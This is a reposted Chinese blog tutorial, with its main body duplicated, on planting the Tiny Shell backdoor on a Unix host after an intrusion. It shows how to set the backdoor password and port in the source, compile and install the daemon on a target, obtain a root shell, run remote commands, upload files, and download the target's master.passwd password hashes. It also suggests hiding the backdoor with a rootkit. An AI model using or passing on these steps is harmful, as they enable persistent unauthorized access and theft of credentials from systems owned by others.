Unix/Linux系統下輕量級Shell工具(轉)
Unix/Linux系統下輕量級Shell工具(轉)[@more@] 一,前言
隨著網際網路的發展,使用Unix/Linux系統的越來越多,而入侵一臺Unix/Linux系統也不再是什麼難事了。通常,在入侵成功之後,都會留一個或幾個後門,以便再次進入;對於Unix/Linux系統,後門的種類比較多,初級的有修改“.rhosts”檔案,複製一個Shell到一個隱藏目錄,修改etc/passwd檔案加使用者等手段。較高階的莫屬使用核心模組後門(Rootkit)了,它是Unix/Linux系統下最高階別的後門,也許最具有隱蔽性的,但今天我並不說Rootkit,因為它的使用過於複雜,對沒有Unix/Linux系統使用經驗的人來說,更是難以駕御。而Tiny Shell作為一款執行於Unix/Linux系統下的輕量級Shell工具,不僅小巧,還支援另外一些不錯的功能,具體請看下文。
二,應用
1,Tiny Shell簡介
Tiny Shell是一款輕量級的標準遠端Shell工具,可以提供遠端執行命令(包括:Rlogin,Telnet,Ssh等)和檔案傳輸功能(上傳、下載),支援單位元組,完全支援Pseudo-Terminal Pairs(pty/tty)等偽終端。並使用強大的160-bit RC4加密,以躲避嗅探器的檢測具備AES-128 + HMAC-SHA1的強大加密和認證。支援FreeBSD,NetBSD, OpenBSD,Solaris、SunOS,HP-UX,IRIX,Cygwin,Linux等系統。
2,Tiny Shell應用
測試環境:
本地:OpenBSD 3.4 IP:192.168.0.40
目標:FreeBSD 4.9 STABLE IP:192.168.0.20
首先下載Tiny Shell,解壓縮後修改原始碼,以求該工具更能符合我們的要求。
#fetch
#tar zxvf tsh-0.6.tgz
#cd tsh-0.6
#ls
ChangeLog README aes.h pel.h sha1.h tsh.h
Makefile aes.c pel.c sha1.c tsh.c tshd.c
#vi tsh.h
char *secret = "replace with your password";
//連線後門的密碼,我修改為dahubaobao。這個後門的主程式是tsh.c,先看看下邊的原始碼
if( password == NULL )
{
/* 1st try, using the built-in secret key */
ret = pel_client_init( server, secret );
if( ret != PEL_SUCCESS )
{
close( server );
/* secret key invalid, so ask for a password */
password = getpass( "Password: " );
goto connect;
}
}
//重點在這裡:ret = pel_client_init( server, secret );
把secret變數作為了引數,也就是連線後門所需要的密碼。現在知道為什麼修改tsh.h了吧。
#define SERVER_PORT 7586
//後門簡聽的埠,任意修改
if( argc == 5 && ! strcmp( argv[2], "get" ) )
{
action = GET_FILE;
}
if( argc == 5 && ! strcmp( argv[2], "put" ) )
{
action = PUT_FILE;
}
//該後門並沒有幫助資訊,所以檢視這裡得知Get為下載,Put為上傳。當然,如果你喜歡,可以自行修改。另外,如果你想該後門輸出幫助資訊,可以自己新增一個Printf語句來輸出幫助資訊。這裡給出一個最簡單的方法,我們在不加引數的情況下執行./tsh的時候,會提示gethostbyname failed.,然後檢視原始碼,找到fprintf( stderr, "gethostbyname failed. " );這句程式碼,聰明的你也許想到了,就是修改gethostbyname failed.為你想要的幫助資訊,這樣,在執行./tsh的時候,就會自動輸出幫助資訊了。呵呵,也算一種變相修改吧。下面開始編譯原始碼。
#make
Please specify one of these targets:
make linux
make freebsd
make openbsd
make netbsd
make cygwin
make sunos
make irix
make hpux
make osf
#make openbsd
//根據你的系統做相應的選擇,10秒鐘就編譯好了。
然後,會在當前目錄下生成兩個可執行檔案,一個客戶端,一個服務端,分別為:tsh,tshd。現在將tshd複製到目標系統(FreeBSD),然後執行./tshd完成安裝。為了更清楚的表示我使用的環境,所以回到本地執行id命令,得知該使用者的UID=1000,是普通使用者;現在使用./tsh 192.168.0.20來接連目標主機(為了測試方便,我就不加密碼了),好,現在我們獲得了一個Root許可權的Shell,再使用id命令(注意,這是在目標主機上),可以看到UID=0了,這可是Root許可權哦!執行uname ?Ca命令,回顯為FreeBSD系統,可見已經成功連線後門並登陸了。另外,該後門還可以在連線的時候插入Shell命令,語法為./tsh 192.168.0.20 “command”,比如./tsh 192.168.0.20 “cat etc/passwd”,這條命令的意思是連線192.168.0.20目標主機,接著執行cat etc/passwd命令,這樣,目標主機的passwd檔案我們就一覽無餘了。但要注意,使用這種形式並沒有登陸目標主機,只是連線目標主機,然後插入一個Shell命令而已。
現在我們來看看上傳、下載的使用方法。從原始碼中知道,上傳的關鍵字為Put,下載的關鍵字為Get。好,先來看看如何上傳檔案,執行“./tsh 192.168.0.20 put 檔名 目標主機目錄”即可完成上傳,但要注意,檔案要在當前目錄下,也就是和tsh在同一個目錄下。我上傳的一個back的二進位制檔案,使用./tsh 192.168.0.20 put back /,這條命令是將back檔案上傳目標根目錄,然後我再使用./tsh 192.168.0.20連線到目標主機,ls檢視back是否已經上傳到了對方主機,呵呵,還不錯吧!在來看下載檔案,它的語法為“./tsh 192.168.0.20 get 目標檔案 本地目錄”,現在我們來獲得其最敏感的檔案----master.passwd(影子檔案,也就是Linux系統下的shadow檔案)。執行./tsh 192.168.0.20 get etc/master.passwd /home/dahubaobao,意思為下載目標主機的master.passwd檔案到本地的/home/dahubaobao目錄,然後使用ls檢視,可以看見已經將對方的master.passwd下載到了本地,再vi master.passwd,哈哈,使用者的加密密碼近在眼前。提示,FreeBSD的使用者密碼是採用MD5加密的。
小結
Tiny Shell作為一款小型的Shell工具,絲毫不遜於其他同類的Shell工具,而且支援大部分的Unix/Linux系統,絕對值得一試。當然,這款後門很不隱蔽,我們可以結合Rootkit來加固(Rootkit中也提供Shell工具,但無法和Tiny Shell相比,不信你可以自己試試),Rootkit的使用可以去google找答案,在此就不多說了。
隨著網際網路的發展,使用Unix/Linux系統的越來越多,而入侵一臺Unix/Linux系統也不再是什麼難事了。通常,在入侵成功之後,都會留一個或幾個後門,以便再次進入;對於Unix/Linux系統,後門的種類比較多,初級的有修改“.rhosts”檔案,複製一個Shell到一個隱藏目錄,修改etc/passwd檔案加使用者等手段。較高階的莫屬使用核心模組後門(Rootkit)了,它是Unix/Linux系統下最高階別的後門,也許最具有隱蔽性的,但今天我並不說Rootkit,因為它的使用過於複雜,對沒有Unix/Linux系統使用經驗的人來說,更是難以駕御。而Tiny Shell作為一款執行於Unix/Linux系統下的輕量級Shell工具,不僅小巧,還支援另外一些不錯的功能,具體請看下文。
二,應用
1,Tiny Shell簡介
Tiny Shell是一款輕量級的標準遠端Shell工具,可以提供遠端執行命令(包括:Rlogin,Telnet,Ssh等)和檔案傳輸功能(上傳、下載),支援單位元組,完全支援Pseudo-Terminal Pairs(pty/tty)等偽終端。並使用強大的160-bit RC4加密,以躲避嗅探器的檢測具備AES-128 + HMAC-SHA1的強大加密和認證。支援FreeBSD,NetBSD, OpenBSD,Solaris、SunOS,HP-UX,IRIX,Cygwin,Linux等系統。
2,Tiny Shell應用
測試環境:
本地:OpenBSD 3.4 IP:192.168.0.40
目標:FreeBSD 4.9 STABLE IP:192.168.0.20
首先下載Tiny Shell,解壓縮後修改原始碼,以求該工具更能符合我們的要求。
#fetch
#tar zxvf tsh-0.6.tgz
#cd tsh-0.6
#ls
ChangeLog README aes.h pel.h sha1.h tsh.h
Makefile aes.c pel.c sha1.c tsh.c tshd.c
#vi tsh.h
char *secret = "replace with your password";
//連線後門的密碼,我修改為dahubaobao。這個後門的主程式是tsh.c,先看看下邊的原始碼
if( password == NULL )
{
/* 1st try, using the built-in secret key */
ret = pel_client_init( server, secret );
if( ret != PEL_SUCCESS )
{
close( server );
/* secret key invalid, so ask for a password */
password = getpass( "Password: " );
goto connect;
}
}
//重點在這裡:ret = pel_client_init( server, secret );
把secret變數作為了引數,也就是連線後門所需要的密碼。現在知道為什麼修改tsh.h了吧。
#define SERVER_PORT 7586
//後門簡聽的埠,任意修改
if( argc == 5 && ! strcmp( argv[2], "get" ) )
{
action = GET_FILE;
}
if( argc == 5 && ! strcmp( argv[2], "put" ) )
{
action = PUT_FILE;
}
//該後門並沒有幫助資訊,所以檢視這裡得知Get為下載,Put為上傳。當然,如果你喜歡,可以自行修改。另外,如果你想該後門輸出幫助資訊,可以自己新增一個Printf語句來輸出幫助資訊。這裡給出一個最簡單的方法,我們在不加引數的情況下執行./tsh的時候,會提示gethostbyname failed.,然後檢視原始碼,找到fprintf( stderr, "gethostbyname failed. " );這句程式碼,聰明的你也許想到了,就是修改gethostbyname failed.為你想要的幫助資訊,這樣,在執行./tsh的時候,就會自動輸出幫助資訊了。呵呵,也算一種變相修改吧。下面開始編譯原始碼。
#make
Please specify one of these targets:
make linux
make freebsd
make openbsd
make netbsd
make cygwin
make sunos
make irix
make hpux
make osf
#make openbsd
//根據你的系統做相應的選擇,10秒鐘就編譯好了。
然後,會在當前目錄下生成兩個可執行檔案,一個客戶端,一個服務端,分別為:tsh,tshd。現在將tshd複製到目標系統(FreeBSD),然後執行./tshd完成安裝。為了更清楚的表示我使用的環境,所以回到本地執行id命令,得知該使用者的UID=1000,是普通使用者;現在使用./tsh 192.168.0.20來接連目標主機(為了測試方便,我就不加密碼了),好,現在我們獲得了一個Root許可權的Shell,再使用id命令(注意,這是在目標主機上),可以看到UID=0了,這可是Root許可權哦!執行uname ?Ca命令,回顯為FreeBSD系統,可見已經成功連線後門並登陸了。另外,該後門還可以在連線的時候插入Shell命令,語法為./tsh 192.168.0.20 “command”,比如./tsh 192.168.0.20 “cat etc/passwd”,這條命令的意思是連線192.168.0.20目標主機,接著執行cat etc/passwd命令,這樣,目標主機的passwd檔案我們就一覽無餘了。但要注意,使用這種形式並沒有登陸目標主機,只是連線目標主機,然後插入一個Shell命令而已。
現在我們來看看上傳、下載的使用方法。從原始碼中知道,上傳的關鍵字為Put,下載的關鍵字為Get。好,先來看看如何上傳檔案,執行“./tsh 192.168.0.20 put 檔名 目標主機目錄”即可完成上傳,但要注意,檔案要在當前目錄下,也就是和tsh在同一個目錄下。我上傳的一個back的二進位制檔案,使用./tsh 192.168.0.20 put back /,這條命令是將back檔案上傳目標根目錄,然後我再使用./tsh 192.168.0.20連線到目標主機,ls檢視back是否已經上傳到了對方主機,呵呵,還不錯吧!在來看下載檔案,它的語法為“./tsh 192.168.0.20 get 目標檔案 本地目錄”,現在我們來獲得其最敏感的檔案----master.passwd(影子檔案,也就是Linux系統下的shadow檔案)。執行./tsh 192.168.0.20 get etc/master.passwd /home/dahubaobao,意思為下載目標主機的master.passwd檔案到本地的/home/dahubaobao目錄,然後使用ls檢視,可以看見已經將對方的master.passwd下載到了本地,再vi master.passwd,哈哈,使用者的加密密碼近在眼前。提示,FreeBSD的使用者密碼是採用MD5加密的。
小結
Tiny Shell作為一款小型的Shell工具,絲毫不遜於其他同類的Shell工具,而且支援大部分的Unix/Linux系統,絕對值得一試。當然,這款後門很不隱蔽,我們可以結合Rootkit來加固(Rootkit中也提供Shell工具,但無法和Tiny Shell相比,不信你可以自己試試),Rootkit的使用可以去google找答案,在此就不多說了。
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10617542/viewspace-950106/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- 在Unix系統下用shell製作通用介面(轉)
- 輕量級超級 css 工具CSS
- 類unix系統下常用工具及命令(轉)
- UNIX和LINUX系統的SHELL正規表示式語法(轉)Linux
- 輕量級線上CRM系統有哪些
- Unix下常見shell簡介(轉)
- 輕量級分散式檔案系統fastDFS分散式AST
- UNIX系統中Shell的一種新應用(轉)
- 在Debian上安裝輕量級入侵監測系統(轉)
- 9 個提高系統執行速度的輕量級 Linux 應用Linux
- 輕量級API測試工具PandariaAPI
- Shottr for mac(輕量級截圖工具)Mac
- python輕量級效能工具-LocustPython
- 講一下Linux 或Unix下怎樣修改系統時間(轉)Linux
- lightCMS - 輕量級 CMS 系統,通用後臺管理系統
- UNIX系統下各檔案的作用(轉)
- UNIX系統下的使用者限制(轉)
- UNIX系統安全(轉)
- Spring Boot搭建輕量級的部落格系統Spring Boot
- UNIX和linux系統效能監控工具oswatcherLinux
- unix下幾個有用的小shell指令碼(轉)指令碼
- [轉載]用 Go 寫一個輕量級的 ldap 測試工具GoLDA
- Oracle輕量級實時監控工具-oratopOracle
- UNIX系統操作命令(轉)
- 理解linux/unix作業系統守護程式(轉)Linux作業系統
- 談兵:Linux/Unix作業系統入侵思路(轉)Linux作業系統
- [下載]PHP 5.1.2 for Unix/Linux(轉)PHPLinux
- linux系統升級指南(轉)Linux
- SCO Unix系統下網路印表機的使用(轉)
- Pekwm:一個輕量級的 Linux 桌面Linux
- 一套輕量級銷售團隊管理系統【CRM】
- 【Python】輕量級分散式任務排程系統-RQPython分散式
- Linux 系統管理(下)(轉)Linux
- (個人)Linux或UNIX系統下徹底刪除oracleLinuxOracle
- Unix系統安全必讀(轉)
- Unix系統安全六問(轉)
- 淺談Unix系統管理(轉)
- [轉載]用 Go 寫一個輕量級的 ssh 批量操作工具Go